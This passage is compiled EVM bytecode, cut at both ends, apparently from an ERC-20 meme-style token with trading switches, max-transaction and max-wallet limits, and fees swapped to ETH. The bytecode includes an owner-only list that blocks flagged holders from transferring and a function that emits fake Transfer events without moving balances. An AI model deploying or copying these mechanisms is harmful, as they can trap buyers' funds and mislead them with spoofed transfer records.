bd919062000cda565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000671919062000d26565b60405180910390a36200068d600083836200070260201b60201c565b5050565b6000600554905090565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615620006fd5760008114620006fc57600080fd5b5b505050565b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000739826200070c565b9050919050565b6200074b816200072c565b81146200075757600080fd5b50565b6000815190506200076b8162000740565b92915050565b6000602082840312156200078a576200078962000707565b5b60006200079a848285016200075a565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200082557607f821691505b6020821081036200083b576200083a620007dd565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008a57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000866565b620008b1868362000866565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620008fe620008f8620008f284620008c9565b620008d3565b620008c9565b9050919050565b6000819050919050565b6200091a83620008dd565b62000932620009298262000905565b84845462000873565b825550505050565b600090565b620009496200093a565b620009568184846200090f565b505050565b5b818110156200097e57620009726000826200093f565b6001810190506200095c565b5050565b601f821115620009cd57620009978162000841565b620009a28462000856565b81016020851015620009b2578190505b620009ca620009c18562000856565b8301826200095b565b50505b505050565b600082821c905092915050565b6000620009f260001984600802620009d2565b1980831691505092915050565b600062000a0d8383620009df565b9150826002028217905092915050565b62000a2882620007a3565b67ffffffffffffffff81111562000a445762000a43620007ae565b5b62000a5082546200080c565b62000a5d82828562000982565b600060209050601f83116001811462000a95576000841562000a80578287015190505b62000a8c8582620009ff565b86555062000afc565b601f19841662000aa58662000841565b60005b8281101562000acf5784890151825560018201915060208501945060208101905062000aa8565b8683101562000aef578489015162000aeb601f891682620009df565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f436861696e206e6f7420636f6e66696775726564000000000000000000000000600082015250565b600062000b4d60148362000b04565b915062000b5a8262000b15565b602082019050919050565b6000602082019050818103600083015262000b808162000b3e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000bc382620008c9565b915062000bd083620008c9565b925082820262000be081620008c9565b9150828204841483151762000bfa5762000bf962000b87565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000c3d82620008c9565b915062000c4a83620008c9565b92508262000c5d5762000c5c62000c01565b5b828204905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000ca0601f8362000b04565b915062000cad8262000c68565b602082019050919050565b6000602082019050818103600083015262000cd38162000c91565b9050919050565b600062000ce782620008c9565b915062000cf483620008c9565b925082820190508082111562000d0f5762000d0e62000b87565b5b92915050565b62000d2081620008c9565b82525050565b600060208201905062000d3d600083018462000d15565b92915050565b608051613af562000d746000396000818161081e01528181611e5701528181612560015261263d0152613af56000f3fe608060405234801561001057600080fd5b50600436106102535760003560e01c80638d3e6e4011610146578063bbc0c742116100c3578063dd62ed3e11610087578063dd62ed3e146106f0578063e884f26014610720578063f1f50a021461072a578063f2fde38b14610734578063f852b42d14610750578063f8b45b051461076c57610253565b8063bbc0c7421461065e578063c2b7bbb61461067c578063c647b20e14610698578063c78d0fa0146106b4578063cc1776d3146106d257610253565b80639e93ad8e1161010a5780639e93ad8e146105a6578063a457c2d7146105c4578063a9059cbb146105f4578063ab5a188714610624578063b2c25bce1461064057610253565b80638d3e6e40146104ee5780638da5cb5b1461051e5780638ed6795e1461053c57806391b296951461055857806395d89b411461058857610253565b80634a62bb65116101d45780636162c92e116101985780636162c92e1461047057806370945d5f1461047a57806370a0823114610498578063715018a6146104c857806373fa7ddb146104d257610253565b80634a62bb65146103ca5780634f7041a5146103e8578063540dd452146104065780635d0044ca146104365780635d58ce361461045257610253565b806326ededb81161021b57806326ededb814610312578063313ce5671461032e578063395093511461034c578063452ed4f11461037c57806346d6258f1461039a57610253565b806306fdde03146102585780630758d92414610276578063095ea7b31461029457806318160ddd146102c457806323b872dd146102e2575b600080fd5b61026061078a565b60405161026d9190612763565b60405180910390f35b61027e61081c565b60405161028b9190612804565b60405180910390f35b6102ae60048036038101906102a9919061289d565b610840565b6040516102bb91906128f8565b60405180910390f35b6102cc610863565b6040516102d99190612922565b60405180910390f35b6102fc60048036038101906102f7919061293d565b61086d565b60405161030991906128f8565b60405180910390f35b61032c600480360381019061032791906129f5565b61089c565b005b610336610979565b6040516103439190612a71565b60405180910390f35b6103666004803603810190610361919061289d565b610982565b60405161037391906128f8565b60405180910390f35b6103846109b9565b6040516103919190612a9b565b60405180910390f35b6103b460048036038101906103af9190612ab6565b6109df565b6040516103c191906128f8565b60405180910390f35b6103d2610a35565b6040516103df91906128f8565b60405180910390f35b6103f0610a48565b6040516103fd9190612922565b60405180910390f35b610420600480360381019061041b9190612ab6565b610a4e565b60405161042d91906128f8565b60405180910390f35b610450600480360381019061044b9190612ae3565b610a6e565b005b61045a610b57565b6040516104679190612922565b60405180910390f35b610478610b5f565b005b610482610be7565b60405161048f9190612922565b60405180910390f35b6104b260048036038101906104ad9190612ab6565b610bed565b6040516104bf9190612922565b60405180910390f35b6104d0610c36565b005b6104ec60048036038101906104e79190612b3c565b610c4a565b005b61050860048036038101906105039190612ab6565b610cf7565b60405161051591906128f8565b60405180910390f35b610526610d17565b6040516105339190612a9b565b60405180910390f35b61055660048036038101906105519190612b9c565b610d40565b005b610572600480360381019061056d9190612ab6565b610e4b565b60405161057f91906128f8565b60405180910390f35b610590610e6b565b60405161059d9190612763565b60405180910390f35b6105ae610efd565b6040516105bb9190612922565b60405180910390f35b6105de60048036038101906105d9919061289d565b610f03565b6040516105eb91906128f8565b60405180910390f35b61060e6004803603810190610609919061289d565b610f7a565b60405161061b91906128f8565b60405180910390f35b61063e60048036038101906106399190612ae3565b610f9d565b005b610648611087565b60405161065591906128f8565b60405180910390f35b61066661109a565b60405161067391906128f8565b60405180910390f35b61069660048036038101906106919190612ab6565b6110ad565b005b6106b260048036038101906106ad9190612bdc565b6110f9565b005b6106bc611185565b6040516106c99190612922565b60405180910390f35b6106da61118b565b6040516106e79190612922565b60405180910390f35b61070a60048036038101906107059190612c1c565b611191565b6040516107179190612922565b60405180910390f35b610728611218565b005b61073261123d565b005b61074e60048036038101906107499190612ab6565b6112b2565b005b61076a60048036038101906107659190612b9c565b611335565b005b6107746114d6565b6040516107819190612922565b60405180910390f35b60606006805461079990612c8b565b80601f01602080910402602001604051908101604052809291908181526020018280546107c590612c8b565b80156108125780601f106107e757610100808354040283529160200191610812565b820191906000526020600020905b8154815290600101906020018083116107f557829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b60008061084b6114dc565b90506108588185856114e4565b600191505092915050565b6000600554905090565b6000806108786114dc565b90506108858582856116ad565b610890858585611739565b60019150509392505050565b6108a461189f565b60005b83839050811015610973578383828181106108c5576108c4612cbc565b5b90506020020160208101906108da9190612ab6565b73ffffffffffffffffffffffffffffffffffffffff16601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109589190612922565b60405180910390a3808061096b90612d1a565b9150506108a7565b50505050565b60006009905090565b60008061098d6114dc565b90506109ae81858561099f8589611191565b6109a99190612d62565b6114e4565b600191505092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600960019054906101000a900460ff1681565b60115481565b600b6020528060005260406000206000915054906101000a900460ff1681565b610a7661189f565b610a7e610979565b600a610a8a9190612ec9565b60646001610a96610863565b610aa09190612f14565b610aaa9190612f85565b610ab49190612f85565b811015610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed90613002565b60405180910390fd5b610afe610979565b600a610b0a9190612ec9565b81610b159190612f14565b6010819055507fde064515fae8f8bb6d8ff19d2c6ba704322def7494147d8a971266430ade0788601054604051610b4c9190612922565b60405180910390a150565b600047905090565b610b6761189f565b6000600960016101000a81548160ff0219169083151502179055506000600960006101000a81548160ff021916908315150217905550610ba5610863565b600f81905550610bb3610863565b6010819055507fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c60405160405180910390a1565b600f5481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c3e61189f565b610c48600061191d565b565b610c5261189f565b60005b83839050811015610cf1578160036000868685818110610c7857610c77612cbc565b5b9050602002016020810190610c8d9190612ab6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ce990612d1a565b915050610c55565b50505050565b600c6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d4861189f565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dae9061306e565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f998cce27cbf44405c67eb636a634d5e2f2e6ff248b3d71fbbbb022f3c4c6dd2d8282604051610e3f92919061308e565b60405180910390a15050565b600e6020528060005260406000206000915054906101000a900460ff1681565b606060078054610e7a90612c8b565b80601f0160208091040260200160405190810160405280929190818152602001828054610ea690612c8b565b8015610ef35780601f10610ec857610100808354040283529160200191610ef3565b820191906000526020600020905b815481529060010190602001808311610ed657829003601f168201915b5050505050905090565b61271081565b600080610f0e6114dc565b90506000610f1c8286611191565b905083811015610f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5890613129565b60405180910390fd5b610f6e82868684036114e4565b60019250505092915050565b600080610f856114dc565b9050610f92818585611739565b600191505092915050565b610fa561189f565b610fad610979565b600a610fb99190612ec9565b6103e86005610fc6610863565b610fd09190612f14565b610fda9190612f85565b610fe49190612f85565b811015611026576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101d90613195565b60405180910390fd5b61102e610979565b600a61103a9190612ec9565b816110459190612f14565b600f819055507fbd5d3777a4ca05c2475cf0dd89d6a70173f775d8b42722c19d597cd7c870c4c7600f5460405161107c9190612922565b60405180910390a150565b600960009054906101000a900460ff1681565b600d60009054906101000a900460ff1681565b6110b561189f565b80601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61110161189f565b816011819055507f5380a61520019ce8270d583f62f1b2b9f4f4372e1acaaf708f4865cecece05086011546040516111399190612922565b60405180910390a1806012819055507fa02824f65350567bc405e202b741e7ca6274004a9feeb44149df72b8bd599c976012546040516111799190612922565b60405180910390a15050565b600a5481565b60125481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61122061189f565b6000600960006101000a81548160ff021916908315150217905550565b61124561189f565b600d60009054906101000a900460ff1615611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c90613201565b60405180910390fd5b6001600d60006101000a81548160ff021916908315150217905550565b6112ba61189f565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132090613293565b60405180910390fd5b6113328161191d565b50565b61133d61189f565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a39061306e565b60405180910390fd5b8061144257601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611441576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611438906132ff565b60405180910390fd5b5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f8f9f40630a1d139e6cf69b4f447ca47a36f10a017524efaa38252e516fa227ce82826040516114ca92919061308e565b60405180910390a15050565b60105481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90613391565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b990613423565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116a09190612922565b60405180910390a3505050565b60006116b98484611191565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117335781811015611725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171c9061348f565b60405180910390fd5b61173284848484036114e4565b5b50505050565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117da5750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806117f15750600960029054906101000a900460ff165b15611806576118018383836119e1565b61189a565b600d60009054906101000a900460ff16611855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184c906134fb565b60405180910390fd5b611860838383611c5a565b8161186b919061351b565b9050600960019054906101000a900460ff161561188e5761188d838383611e40565b5b6118998383836119e1565b5b505050565b6118a76114dc565b73ffffffffffffffffffffffffffffffffffffffff166118c56122b4565b73ffffffffffffffffffffffffffffffffffffffff161461191b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119129061359b565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a479061362d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab6906136bf565b60405180910390fd5b611aca8383836122c8565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613751565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c419190612922565b60405180910390a3611c5484848461232d565b50505050565b6000600a54611c6830610bed565b10158015611c835750600960029054906101000a900460ff16155b8015611cd95750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d1d576001600960026101000a81548160ff021916908315150217905550611d01612332565b6000600960026101000a81548160ff0219169083151502179055505b6000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d7a57506000601254115b15611da15761271060125484611d909190612f14565b611d9a9190612f85565b9050611e20565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dfc57506000601154115b15611e1f5761271060115484611e129190612f14565b611e1c9190612f85565b90505b5b6000811115611e3557611e348530836119e1565b5b809150509392505050565b600960009054906101000a900460ff1615611fc7577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611efb5750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fc65743600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f78906137bd565b60405180910390fd5b43600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561206a5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561211157600f548111156120b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ab90613829565b60405180910390fd5b6010546120c083610bed565b826120cb9190612d62565b111561210c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210390613895565b60405180910390fd5b6122af565b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121b45750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561220357600f548111156121fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f590613829565b60405180910390fd5b6122ae565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166122ad5760105461226083610bed565b8261226b9190612d62565b11156122ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a390613895565b60405180910390fd5b5b5b5b505050565b6000806122bf61241d565b90508091505090565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612328576000811461232757600080fd5b5b505050565b505050565b600061233d30610bed565b90506000810361234d575061241b565b6028600a5461235c9190612f14565b811115612375576028600a546123729190612f14565b90505b61237e816124c1565b6000471115612419576000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516123cf906138e6565b60006040518083038185875af1925050503d806000811461240c576040519150601f19603f3d011682016040523d82523d6000602084013e612411565b606091505b505080915050505b505b565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124985760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166124bc565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600267ffffffffffffffff8111156124de576124dd6138fb565b5b60405190808252806020026020018201604052801561250c5781602001602082028036833780820191505090505b509050308160008151811061252457612523612cbc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125ed919061393f565b8160018151811061260157612600612cbc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161269d959493929190613a65565b600060405180830381600087803b1580156126b757600080fd5b505af11580156126cb573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270d5780820151818401526020810190506126f2565b60008484015250505050565b6000601f19601f8301169050919050565b6000612735826126d3565b61273f81856126de565b935061274f8185602086016126ef565b61275881612719565b840191505092915050565b6000602082019050818103600083015261277d818461272a565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006127ca6127c56127c084612785565b6127a5565b612785565b9050919050565b60006127dc826127af565b9050919050565b60006127ee826127d1565b9050919050565b6127fe816127e3565b82525050565b600060208201905061281960008301846127f5565b92915050565b600080fd5b600080fd5b600061283482612785565b9050919050565b61284481612829565b811461284f57600080fd5b50565b6000813590506128618161283b565b92915050565b6000819050919050565b61287a81612867565b811461288557600080fd5b50565b60008135905061289781612871565b92915050565b600080604083850312156128b4576128b361281f565b5b60006128c285828601612852565b92505060206128d385828601612888565b9150509250929050565b60008115159050919050565b6128f2816128dd565b82525050565b600060208201905061290d60008301846128e9565b92915050565b61291c81612867565b82525050565b60006020820190506129376000830184612913565b92915050565b6000806000606084860312156129565761295561281f565b5b600061296486828701612852565b935050602061297586828701612852565b925050604061298686828701612888565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126129b5576129b4612990565b5b8235905067ffffffffffffffff8111156129d2576129d1612995565b5b6020830191508360208202830111156129ee576129ed61299a565b5b9250929050565b600080600060408486031215612a0e57612a0d61281f565b5b600084013567ffffffffffffffff811115612a2c57612a2b612824565b5b612a388682870161299f565b93509350506020612a4b86828701612888565b9150509250925092565b600060ff82169050919050565b612a6b81612a55565b82525050565b6000602082019050612a866000830184612a62565b92915050565b612a9581612829565b82525050565b6000602082019050612ab06000830184612a8c565b92915050565b600060208284031215612acc57612acb61281f565b5b6000612ada84828501612852565b91505092915050565b600060208284031215612af957612af861281f565b5b6000612b0784828501612888565b91505092915050565b612b19816128dd565b8114612b2457600080fd5b50565b600081359050612b3681612b10565b92915050565b600080600060408486031215612b5557612b5461281f565b5b600084013567ffffffffffffffff811115612b7357612b72612824565b5b612b7f8682870161299f565b93509350506020612b9286828701612b27565b9150509250925092565b60008060408385031215612bb357612bb261281f565b5b6000612bc185828601612852565b9250506020612bd285828601612b27565b9150509250929050565b60008060408385031215612bf357612bf261281f565b5b6000612c0185828601612888565b9250506020612c1285828601612888565b9150509250929050565b60008060408385031215612c3357612c3261281f565b5b6000612c4185828601612852565b9250506020612c5285828601612852565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ca357607f821691505b602082108103612cb657612cb5612c5c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d2582612867565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d5757612d56612ceb565b5b600182019050919050565b6000612d6d82612867565b9150612d7883612867565b9250828201905080821115612d9057612d8f612ceb565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115612ded57808604811115612dc957612dc8612ceb565b5b6001851615612dd85780820291505b8081029050612de685612d96565b9450612dad565b94509492505050565b600082612e065760019050612ec2565b81612e145760009050612ec2565b8160018114612e2a5760028114612e3457612e63565b6001915050612ec2565b60ff841115612e4657612e45612ceb565b5b8360020a915084821115612e5d57612e5c612ceb565b5b50612ec2565b5060208310610133831016604e8410600b8410161715612e985782820a905083811115612e9357612e92612ceb565b5b612ec2565b612ea58484846001612da3565b92509050818404811115612ebc57612ebb612ceb565b5b81810290505b9392505050565b6000612ed482612867565b9150612edf83612a55565b9250612f0c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612df6565b905092915050565b6000612f1f82612867565b9150612f2a83612867565b9250828202612f3881612867565b91508282048414831517612f4f57612f4e612ceb565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f9082612867565b9150612f9b83612867565b925082612fab57612faa612f56565b5b828204905092915050565b7f4d757374206265203e3d20312500000000000000000000000000000000000000600082015250565b6000612fec600d836126de565b9150612ff782612fb6565b602082019050919050565b6000602082019050818103600083015261301b81612fdf565b9050919050565b7f5a65726f20416464726573730000000000000000000000000000000000000000600082015250565b6000613058600c836126de565b915061306382613022565b602082019050919050565b600060208201905081810360008301526130878161304b565b9050919050565b60006040820190506130a36000830185612a8c565b6130b060208301846128e9565b9392505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006131136025836126de565b915061311e826130b7565b604082019050919050565b6000602082019050818103600083015261314281613106565b9050919050565b7f4d757374206265203e3d20302e35250000000000000000000000000000000000600082015250565b600061317f600f836126de565b915061318a82613149565b602082019050919050565b600060208201905081810360008301526131ae81613172565b9050919050565b7f54726164696e6720616374697665000000000000000000000000000000000000600082015250565b60006131eb600e836126de565b91506131f6826131b5565b602082019050919050565b6000602082019050818103600083015261321a816131de565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061327d6026836126de565b915061328882613221565b604082019050919050565b600060208201905081810360008301526132ac81613270565b9050919050565b7f5061697200000000000000000000000000000000000000000000000000000000600082015250565b60006132e96004836126de565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061337b6024836126de565b91506133868261331f565b604082019050919050565b600060208201905081810360008301526133aa8161336e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061340d6022836126de565b9150613418826133b1565b604082019050919050565b6000602082019050818103600083015261343c81613400565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613479601d836126de565b915061348482613443565b602082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f54726164696e67206e6f74206163746976650000000000000000000000000000600082015250565b60006134e56012836126de565b91506134f0826134af565b602082019050919050565b60006020820190508181036000830152613514816134d8565b9050919050565b600061352682612867565b915061353183612867565b925082820390508181111561354957613548612ceb565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135856020836126de565b91506135908261354f565b602082019050919050565b600060208201905081810360008301526135b481613578565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136176025836126de565b9150613622826135bb565b604082019050919050565b600060208201905081810360008301526136468161360a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006136a96023836126de565b91506136b48261364d565b604082019050919050565b600060208201905081810360008301526136d88161369c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061373b6026836126de565b9150613746826136df565b604082019050919050565b6000602082019050818103600083015261376a8161372e565b9050919050565b7f5472616e736665722044656c617920656e61626c65642e000000000000000000600082015250565b60006137a76017836126de565b91506137b282613771565b602082019050919050565b600060208201905081810360008301526137d68161379a565b9050919050565b7f4d61782074782065786365656465642e00000000000000000000000000000000600082015250565b60006138136010836126de565b915061381e826137dd565b602082019050919050565b6000602082019050818103600083015261384281613806565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061387f6013836126de565b915061388a82613849565b602082019050919050565b600060208201905081810360008301526138ae81613872565b9050919050565b600081905092915050565b50565b60006138d06000836138b5565b91506138db826138c0565b600082019050919050565b60006138f1826138c3565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506139398161283b565b92915050565b6000602082840312156139555761395461281f565b5b60006139638482850161392a565b91505092915050565b6000819050919050565b600061399161398c6139878461396c565b6127a5565b612867565b9050919050565b6139a181613976565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139dc81612829565b82525050565b60006139ee83836139d3565b60208301905092915050565b6000602082019050919050565b6000613a12826139a7565b613a1c81856139b2565b9350613a27836139c3565b8060005b83811015613a58578151613a3f88826139e2565b9750613a4a836139fa565b925050600181019050613a2b565b5085935050505092915050565b600060a082019050613a7a6000830188612913565b